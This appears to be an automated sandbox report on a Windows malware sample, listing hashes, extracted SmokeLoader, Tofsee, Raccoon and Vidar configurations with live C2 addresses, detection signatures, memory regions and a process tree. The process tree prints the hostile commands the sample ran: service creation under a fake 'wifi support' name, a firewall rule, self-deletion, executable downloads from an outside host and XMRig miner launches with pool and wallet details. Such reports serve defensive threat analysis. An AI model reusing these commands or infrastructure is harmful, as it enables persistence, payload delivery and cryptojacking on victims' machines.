Analysis

  • max time kernel
    74s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    11/01/2022, 20:22

General

  • Target

    614ae41db644f93f9e99f41b07629884.exe

  • Size

    279KB

  • MD5

    614ae41db644f93f9e99f41b07629884

  • SHA1

    a1a80f51d64ec56bf909ec75f170554f2035b261

  • SHA256

    67b16577f8ea1ce165abf063882fb2e1c7d8c2229c9dfbd60c08b84b5a8f3f96

  • SHA512

    337c42cd1d78ad6096d43529f15633e70cc1a737d7d84e4d97b2eb7ddd13aeb5321b6fd6544575d0fde0d58de5d19ae7c77d8a9a9040350fd57fb5b654f7dba0

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://host-data-coin-11.com/

http://file-coin-host-12.com/

http://srtuiyhuali.at/

http://fufuiloirtu.com/

http://amogohuigotuli.at/

http://novohudosovu.com/

http://brutuilionust.com/

http://bubushkalioua.com/

http://dumuilistrati.at/

http://verboliatsiaeeees.com/

rc4.i32
rc4.i32
rc4.i32
rc4.i32

Extracted

Family

tofsee

C2

patmushta.info

parubey.info

Extracted

Family

raccoon

Version

1.8.4-hotfixs

rc4.plain

Extracted

Family

vidar

Version

49.6

Botnet

565

C2

https://noc.social/@banda5ker

https://mastodon.social/@banda6ker

Attributes
  • profile_id

    565

Extracted

Family

vidar

Version

49.6

Botnet

1125

C2

https://noc.social/@banda5ker

https://mastodon.social/@banda6ker

Attributes
  • profile_id

    1125

Signatures

  • Arkei

    Arkei is an infostealer written in C++.

  • LoaderBot

    LoaderBot is a loader written in .NET downloading and executing miners.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE EXE Download Request To Wordpress Folder Likely Malicious

    suricata: ET MALWARE EXE Download Request To Wordpress Folder Likely Malicious

  • suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01

    suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01

  • suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

    suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

  • suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)

    suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)

  • suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)

    suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)

  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

  • suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload

    suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload

  • suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil

    suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil

  • suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer HTTP POST Pattern

    suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer HTTP POST Pattern

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Arkei Stealer Payload 1 IoCs
  • LoaderBot executable 1 IoCs
  • Vidar Stealer 5 IoCs
  • XMRig Miner Payload 3 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 13 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • UPX packed file 6 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses 2FA software files, possible credential harvesting 2 TTPs
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 2 IoCs
  • Kills process with taskkill 2 IoCs
  • Modifies data under HKEY_USERS 11 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 43 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\614ae41db644f93f9e99f41b07629884.exe
    "C:\Users\Admin\AppData\Local\Temp\614ae41db644f93f9e99f41b07629884.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2344
    • C:\Users\Admin\AppData\Local\Temp\614ae41db644f93f9e99f41b07629884.exe
      "C:\Users\Admin\AppData\Local\Temp\614ae41db644f93f9e99f41b07629884.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:2760
  • C:\Users\Admin\AppData\Local\Temp\1411.exe
    C:\Users\Admin\AppData\Local\Temp\1411.exe
    1⤵
    • Executes dropped EXE
    • Checks SCSI registry key(s)
    • Suspicious behavior: MapViewOfSection
    PID:580
  • C:\Users\Admin\AppData\Local\Temp\1C8D.exe
    C:\Users\Admin\AppData\Local\Temp\1C8D.exe
    1⤵
    • Executes dropped EXE
    PID:3384
  • C:\Users\Admin\AppData\Local\Temp\2132.exe
    C:\Users\Admin\AppData\Local\Temp\2132.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:3204
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ptdoetam\
      2⤵
        PID:2716
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\dkbkykdu.exe" C:\Windows\SysWOW64\ptdoetam\
        2⤵
          PID:4032
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ptdoetam binPath= "C:\Windows\SysWOW64\ptdoetam\dkbkykdu.exe /d\"C:\Users\Admin\AppData\Local\Temp\2132.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1228
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description ptdoetam "wifi internet conection"
            2⤵
              PID:4080
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start ptdoetam
              2⤵
                PID:1376
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1452
              • C:\Users\Admin\AppData\Local\Temp\2615.exe
                C:\Users\Admin\AppData\Local\Temp\2615.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:1160
                • C:\Users\Admin\AppData\Local\Temp\2615.exe
                  C:\Users\Admin\AppData\Local\Temp\2615.exe
                  2⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:912
              • C:\Windows\SysWOW64\ptdoetam\dkbkykdu.exe
                C:\Windows\SysWOW64\ptdoetam\dkbkykdu.exe /d"C:\Users\Admin\AppData\Local\Temp\2132.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:3472
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:2104
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1908
              • C:\Windows\SysWOW64\explorer.exe
                C:\Windows\SysWOW64\explorer.exe
                1⤵
                • Accesses Microsoft Outlook profiles
                • outlook_office_path
                • outlook_win_path
                PID:2744
              • C:\Windows\explorer.exe
                C:\Windows\explorer.exe
                1⤵
                  PID:1016
                • C:\Users\Admin\AppData\Local\Temp\8194.exe
                  C:\Users\Admin\AppData\Local\Temp\8194.exe
                  1⤵
                  • Executes dropped EXE
                  PID:3836
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 3836 -s 920
                    2⤵
                    • Suspicious use of NtCreateProcessExOtherParentProcess
                    • Program crash
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1460
                • C:\Users\Admin\AppData\Local\Temp\901C.exe
                  C:\Users\Admin\AppData\Local\Temp\901C.exe
                  1⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Checks processor information in registry
                  PID:1120
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c taskkill /im 901C.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\901C.exe" & del C:\ProgramData\*.dll & exit
                    2⤵
                      PID:2392
                      • C:\Windows\SysWOW64\taskkill.exe
                        taskkill /im 901C.exe /f
                        3⤵
                        • Kills process with taskkill
                        PID:1336
                      • C:\Windows\SysWOW64\timeout.exe
                        timeout /t 6
                        3⤵
                        • Delays execution with timeout.exe
                        PID:668
                  • C:\Users\Admin\AppData\Local\Temp\99F0.exe
                    C:\Users\Admin\AppData\Local\Temp\99F0.exe
                    1⤵
                    • Executes dropped EXE
                    • Suspicious use of SetThreadContext
                    PID:880
                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
                      2⤵
                        PID:1564
                    • C:\Users\Admin\AppData\Local\Temp\9FDD.exe
                      C:\Users\Admin\AppData\Local\Temp\9FDD.exe
                      1⤵
                      • Executes dropped EXE
                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                      PID:4084
                    • C:\Users\Admin\AppData\Local\Temp\AB48.exe
                      C:\Users\Admin\AppData\Local\Temp\AB48.exe
                      1⤵
                      • Executes dropped EXE
                      PID:2220
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\AFD4.tmp\AFE4.tmp\AFE5.bat C:\Users\Admin\AppData\Local\Temp\AB48.exe"
                        2⤵
                          PID:2944
                          • C:\Users\Admin\AppData\Local\Temp\AFD4.tmp\AFE4.tmp\extd.exe
                            C:\Users\Admin\AppData\Local\Temp\AFD4.tmp\AFE4.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""
                            3⤵
                            • Executes dropped EXE
                            PID:2652
                          • C:\Windows\System32\WScript.exe
                            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\422\123.vbs"
                            3⤵
                              PID:3960
                            • C:\Users\Admin\AppData\Local\Temp\AFD4.tmp\AFE4.tmp\extd.exe
                              C:\Users\Admin\AppData\Local\Temp\AFD4.tmp\AFE4.tmp\extd.exe "/download" "http://a0620531.xsph.ru/htrrfwedsqw.exe" "setup_c.exe" "" "" "" "" "" ""
                              3⤵
                                PID:2808
                              • C:\Users\Admin\AppData\Local\Temp\422\setup_c.exe
                                setup_c.exe
                                3⤵
                                  PID:2744
                                • C:\Users\Admin\AppData\Local\Temp\AFD4.tmp\AFE4.tmp\extd.exe
                                  C:\Users\Admin\AppData\Local\Temp\AFD4.tmp\AFE4.tmp\extd.exe "/download" "http://a0620531.xsph.ru/c_setup.exe" "setup_m.exe" "" "" "" "" "" ""
                                  3⤵
                                    PID:3824
                                  • C:\Users\Admin\AppData\Local\Temp\422\setup_m.exe
                                    setup_m.exe
                                    3⤵
                                      PID:1532
                                    • C:\Users\Admin\AppData\Local\Temp\AFD4.tmp\AFE4.tmp\extd.exe
                                      C:\Users\Admin\AppData\Local\Temp\AFD4.tmp\AFE4.tmp\extd.exe "/download" "http://a0620531.xsph.ru/RMR.exe" "setup_s.exe" "" "" "" "" "" ""
                                      3⤵
                                        PID:1156
                                      • C:\Users\Admin\AppData\Local\Temp\422\setup_s.exe
                                        setup_s.exe
                                        3⤵
                                          PID:3104
                                          • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                            "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
                                            4⤵
                                              PID:3116
                                          • C:\Users\Admin\AppData\Local\Temp\AFD4.tmp\AFE4.tmp\extd.exe
                                            C:\Users\Admin\AppData\Local\Temp\AFD4.tmp\AFE4.tmp\extd.exe "" "" "" "" "" "" "" "" ""
                                            3⤵
                                              PID:1176
                                        • C:\Users\Admin\AppData\Local\Temp\B878.exe
                                          C:\Users\Admin\AppData\Local\Temp\B878.exe
                                          1⤵
                                          • Executes dropped EXE
                                          PID:2936
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -u -p 2936 -s 400
                                            2⤵
                                            • Program crash
                                            PID:1936
                                        • C:\Users\Admin\AppData\Local\Temp\C097.exe
                                          C:\Users\Admin\AppData\Local\Temp\C097.exe
                                          1⤵
                                            PID:568
                                            • C:\Windows\SysWOW64\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /c taskkill /im C097.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\C097.exe" & del C:\ProgramData\*.dll & exit
                                              2⤵
                                                PID:480
                                                • C:\Windows\SysWOW64\taskkill.exe
                                                  taskkill /im C097.exe /f
                                                  3⤵
                                                  • Kills process with taskkill
                                                  PID:1176
                                                • C:\Windows\SysWOW64\timeout.exe
                                                  timeout /t 6
                                                  3⤵
                                                  • Delays execution with timeout.exe
                                                  PID:900

                                            Network

                                            MITRE ATT&CK Enterprise v6

                                            Replay Monitor

                                            Loading Replay Monitor...

                                            Downloads

                                            • memory/568-337-0x000000006E6F0000-0x000000006E714000-memory.dmp

                                              Filesize

                                              144KB

                                            • memory/568-279-0x0000000000400000-0x00000000005A8000-memory.dmp

                                              Filesize

                                              1.7MB

                                            • memory/568-281-0x0000000000400000-0x00000000005A8000-memory.dmp

                                              Filesize

                                              1.7MB

                                            • memory/568-278-0x0000000000400000-0x00000000005A8000-memory.dmp

                                              Filesize

                                              1.7MB

                                            • memory/568-282-0x00000000001F0000-0x00000000001F2000-memory.dmp

                                              Filesize

                                              8KB

                                            • memory/568-338-0x000000006E740000-0x000000006E874000-memory.dmp

                                              Filesize

                                              1.2MB

                                            • memory/568-285-0x00000000769D0000-0x0000000076B92000-memory.dmp

                                              Filesize

                                              1.8MB

                                            • memory/568-283-0x0000000000400000-0x00000000005A8000-memory.dmp

                                              Filesize

                                              1.7MB

                                            • memory/568-295-0x0000000075B20000-0x0000000075C11000-memory.dmp

                                              Filesize

                                              964KB

                                            • memory/580-126-0x0000000000460000-0x00000000005AA000-memory.dmp

                                              Filesize

                                              1.3MB

                                            • memory/580-127-0x0000000000460000-0x00000000005AA000-memory.dmp

                                              Filesize

                                              1.3MB

                                            • memory/580-128-0x0000000000400000-0x0000000000452000-memory.dmp

                                              Filesize

                                              328KB

                                            • memory/912-175-0x00000000060B0000-0x0000000006126000-memory.dmp

                                              Filesize

                                              472KB

                                            • memory/912-163-0x0000000005270000-0x0000000005282000-memory.dmp

                                              Filesize

                                              72KB

                                            • memory/912-178-0x0000000006470000-0x000000000648E000-memory.dmp

                                              Filesize

                                              120KB

                                            • memory/912-179-0x0000000006E40000-0x0000000007002000-memory.dmp

                                              Filesize

                                              1.8MB

                                            • memory/912-160-0x0000000000400000-0x0000000000420000-memory.dmp

                                              Filesize

                                              128KB

                                            • memory/912-161-0x0000000000400000-0x0000000000420000-memory.dmp

                                              Filesize

                                              128KB

                                            • memory/912-157-0x0000000000400000-0x0000000000420000-memory.dmp

                                              Filesize

                                              128KB

                                            • memory/912-162-0x0000000005820000-0x0000000005E26000-memory.dmp

                                              Filesize

                                              6.0MB

                                            • memory/912-177-0x0000000006770000-0x0000000006C6E000-memory.dmp

                                              Filesize

                                              5.0MB

                                            • memory/912-180-0x0000000007540000-0x0000000007A6C000-memory.dmp

                                              Filesize

                                              5.2MB

                                            • memory/912-167-0x00000000053A0000-0x00000000054AA000-memory.dmp

                                              Filesize

                                              1.0MB

                                            • memory/912-169-0x00000000052D0000-0x000000000530E000-memory.dmp

                                              Filesize

                                              248KB

                                            • memory/912-170-0x0000000005320000-0x000000000536B000-memory.dmp

                                              Filesize

                                              300KB

                                            • memory/912-173-0x0000000005210000-0x0000000005816000-memory.dmp

                                              Filesize

                                              6.0MB

                                            • memory/912-174-0x0000000005610000-0x0000000005676000-memory.dmp

                                              Filesize

                                              408KB

                                            • memory/912-176-0x00000000061D0000-0x0000000006262000-memory.dmp

                                              Filesize

                                              584KB

                                            • memory/1016-196-0x0000000000790000-0x0000000000797000-memory.dmp

                                              Filesize

                                              28KB

                                            • memory/1016-197-0x0000000000780000-0x000000000078C000-memory.dmp

                                              Filesize

                                              48KB

                                            • memory/1120-215-0x0000000000400000-0x00000000004D9000-memory.dmp

                                              Filesize

                                              868KB

                                            • memory/1120-211-0x00000000007B0000-0x000000000082C000-memory.dmp

                                              Filesize

                                              496KB

                                            • memory/1120-213-0x0000000002110000-0x00000000021E6000-memory.dmp

                                              Filesize

                                              856KB

                                            • memory/1160-145-0x0000000004F30000-0x0000000004F31000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/1160-150-0x00000000055D0000-0x0000000005ACE000-memory.dmp

                                              Filesize

                                              5.0MB

                                            • memory/1160-140-0x0000000004D50000-0x0000000004DC6000-memory.dmp

                                              Filesize

                                              472KB

                                            • memory/1160-147-0x00000000027C0000-0x00000000027DE000-memory.dmp

                                              Filesize

                                              120KB

                                            • memory/1160-139-0x00000000004C0000-0x000000000054A000-memory.dmp

                                              Filesize

                                              552KB

                                            • memory/1160-146-0x0000000002740000-0x0000000002741000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/1160-138-0x00000000004C0000-0x000000000054A000-memory.dmp

                                              Filesize

                                              552KB

                                            • memory/1532-317-0x0000000073DF0000-0x0000000075138000-memory.dmp

                                              Filesize

                                              19.3MB

                                            • memory/1532-316-0x0000000076C20000-0x00000000771A4000-memory.dmp

                                              Filesize

                                              5.5MB

                                            • memory/1532-315-0x0000000071AE0000-0x0000000071B60000-memory.dmp

                                              Filesize

                                              512KB

                                            • memory/1532-304-0x0000000001130000-0x0000000001131000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/1532-311-0x00000000769D0000-0x0000000076B92000-memory.dmp

                                              Filesize

                                              1.8MB

                                            • memory/1532-312-0x0000000075B20000-0x0000000075C11000-memory.dmp

                                              Filesize

                                              964KB

                                            • memory/1532-310-0x0000000001150000-0x00000000011B2000-memory.dmp

                                              Filesize

                                              392KB

                                            • memory/1564-217-0x00000000000B0000-0x00000000000B1000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/1564-207-0x0000000000260000-0x0000000000280000-memory.dmp

                                              Filesize

                                              128KB

                                            • memory/1564-216-0x00000000000B0000-0x00000000000B1000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/1564-219-0x0000000000260000-0x0000000000280000-memory.dmp

                                              Filesize

                                              128KB

                                            • memory/1564-218-0x00000000000B0000-0x00000000000B1000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/1564-220-0x0000000000260000-0x0000000000280000-memory.dmp

                                              Filesize

                                              128KB

                                            • memory/1564-222-0x00000000088E0000-0x00000000088F2000-memory.dmp

                                              Filesize

                                              72KB

                                            • memory/1564-223-0x0000000008A10000-0x0000000008B1A000-memory.dmp

                                              Filesize

                                              1.0MB

                                            • memory/1564-221-0x0000000008EF0000-0x00000000094F6000-memory.dmp

                                              Filesize

                                              6.0MB

                                            • memory/1564-224-0x0000000008940000-0x000000000897E000-memory.dmp

                                              Filesize

                                              248KB

                                            • memory/1564-225-0x0000000008980000-0x00000000089CB000-memory.dmp

                                              Filesize

                                              300KB

                                            • memory/1564-226-0x00000000000B0000-0x00000000000B1000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/1564-229-0x00000000088E0000-0x0000000008EE6000-memory.dmp

                                              Filesize

                                              6.0MB

                                            • memory/1908-183-0x0000000000600000-0x00000000006F1000-memory.dmp

                                              Filesize

                                              964KB

                                            • memory/1908-188-0x0000000000600000-0x00000000006F1000-memory.dmp

                                              Filesize

                                              964KB

                                            • memory/2104-168-0x0000000000C30000-0x0000000000C31000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/2104-166-0x0000000000C30000-0x0000000000C31000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/2104-164-0x0000000002D30000-0x0000000002D45000-memory.dmp

                                              Filesize

                                              84KB

                                            • memory/2344-115-0x0000000000450000-0x00000000004FE000-memory.dmp

                                              Filesize

                                              696KB

                                            • memory/2344-116-0x0000000000450000-0x00000000004FE000-memory.dmp

                                              Filesize

                                              696KB

                                            • memory/2744-191-0x0000000000A00000-0x0000000000A6B000-memory.dmp

                                              Filesize

                                              428KB

                                            • memory/2744-190-0x0000000000A70000-0x0000000000AE4000-memory.dmp

                                              Filesize

                                              464KB

                                            • memory/2760-117-0x0000000000400000-0x0000000000409000-memory.dmp

                                              Filesize

                                              36KB

                                            • memory/3004-153-0x0000000002990000-0x00000000029A6000-memory.dmp

                                              Filesize

                                              88KB

                                            • memory/3004-119-0x0000000000DC0000-0x0000000000DD6000-memory.dmp

                                              Filesize

                                              88KB

                                            • memory/3104-353-0x0000000071AE0000-0x0000000071B60000-memory.dmp

                                              Filesize

                                              512KB

                                            • memory/3104-355-0x0000000073DF0000-0x0000000075138000-memory.dmp

                                              Filesize

                                              19.3MB

                                            • memory/3104-354-0x0000000076C20000-0x00000000771A4000-memory.dmp

                                              Filesize

                                              5.5MB

                                            • memory/3104-350-0x0000000075B20000-0x0000000075C11000-memory.dmp

                                              Filesize

                                              964KB

                                            • memory/3104-349-0x00000000769D0000-0x0000000076B92000-memory.dmp

                                              Filesize

                                              1.8MB

                                            • memory/3104-348-0x0000000000A70000-0x0000000000A71000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/3104-346-0x0000000000A80000-0x0000000000EDB000-memory.dmp

                                              Filesize

                                              4.4MB

                                            • memory/3204-142-0x00000000004B0000-0x00000000004BD000-memory.dmp

                                              Filesize

                                              52KB

                                            • memory/3204-144-0x0000000000400000-0x0000000000451000-memory.dmp

                                              Filesize

                                              324KB

                                            • memory/3204-143-0x00000000004E0000-0x000000000062A000-memory.dmp

                                              Filesize

                                              1.3MB

                                            • memory/3384-132-0x0000000000460000-0x000000000050E000-memory.dmp

                                              Filesize

                                              696KB

                                            • memory/3384-133-0x0000000000460000-0x000000000050E000-memory.dmp

                                              Filesize

                                              696KB

                                            • memory/3384-134-0x0000000000400000-0x0000000000455000-memory.dmp

                                              Filesize

                                              340KB

                                            • memory/3472-171-0x0000000000560000-0x0000000000573000-memory.dmp

                                              Filesize

                                              76KB

                                            • memory/3472-172-0x0000000000400000-0x0000000000451000-memory.dmp

                                              Filesize

                                              324KB

                                            • memory/3836-198-0x00000000047D0000-0x000000000481F000-memory.dmp

                                              Filesize

                                              316KB

                                            • memory/3836-200-0x0000000000400000-0x0000000002BC5000-memory.dmp

                                              Filesize

                                              39.8MB

                                            • memory/3836-199-0x0000000004830000-0x00000000048C1000-memory.dmp

                                              Filesize

                                              580KB

                                            • memory/4084-239-0x0000000000990000-0x0000000000AB6000-memory.dmp

                                              Filesize

                                              1.1MB

                                            • memory/4084-242-0x0000000005A50000-0x0000000005A62000-memory.dmp

                                              Filesize

                                              72KB

                                            • memory/4084-234-0x0000000000990000-0x0000000000AB6000-memory.dmp

                                              Filesize

                                              1.1MB

                                            • memory/4084-235-0x0000000001430000-0x0000000001431000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/4084-236-0x00000000769D0000-0x0000000076B92000-memory.dmp

                                              Filesize

                                              1.8MB

                                            • memory/4084-237-0x0000000075B20000-0x0000000075C11000-memory.dmp

                                              Filesize

                                              964KB

                                            • memory/4084-238-0x0000000000990000-0x0000000000AB6000-memory.dmp

                                              Filesize

                                              1.1MB

                                            • memory/4084-246-0x0000000002FF0000-0x0000000003035000-memory.dmp

                                              Filesize

                                              276KB

                                            • memory/4084-240-0x0000000071AE0000-0x0000000071B60000-memory.dmp

                                              Filesize

                                              512KB

                                            • memory/4084-241-0x0000000006190000-0x0000000006796000-memory.dmp

                                              Filesize

                                              6.0MB

                                            • memory/4084-243-0x0000000005C90000-0x0000000005D9A000-memory.dmp

                                              Filesize

                                              1.0MB

                                            • memory/4084-244-0x0000000005AB0000-0x0000000005AEE000-memory.dmp

                                              Filesize

                                              248KB

                                            • memory/4084-250-0x0000000071560000-0x00000000715AB000-memory.dmp

                                              Filesize

                                              300KB

                                            • memory/4084-249-0x0000000005AF0000-0x0000000005B3B000-memory.dmp

                                              Filesize

                                              300KB

                                            • memory/4084-248-0x0000000073DF0000-0x0000000075138000-memory.dmp

                                              Filesize

                                              19.3MB

                                            • memory/4084-245-0x0000000076C20000-0x00000000771A4000-memory.dmp

                                              Filesize

                                              5.5MB

                                            • memory/4084-247-0x0000000005B70000-0x0000000005B71000-memory.dmp

                                              Filesize

                                              4KB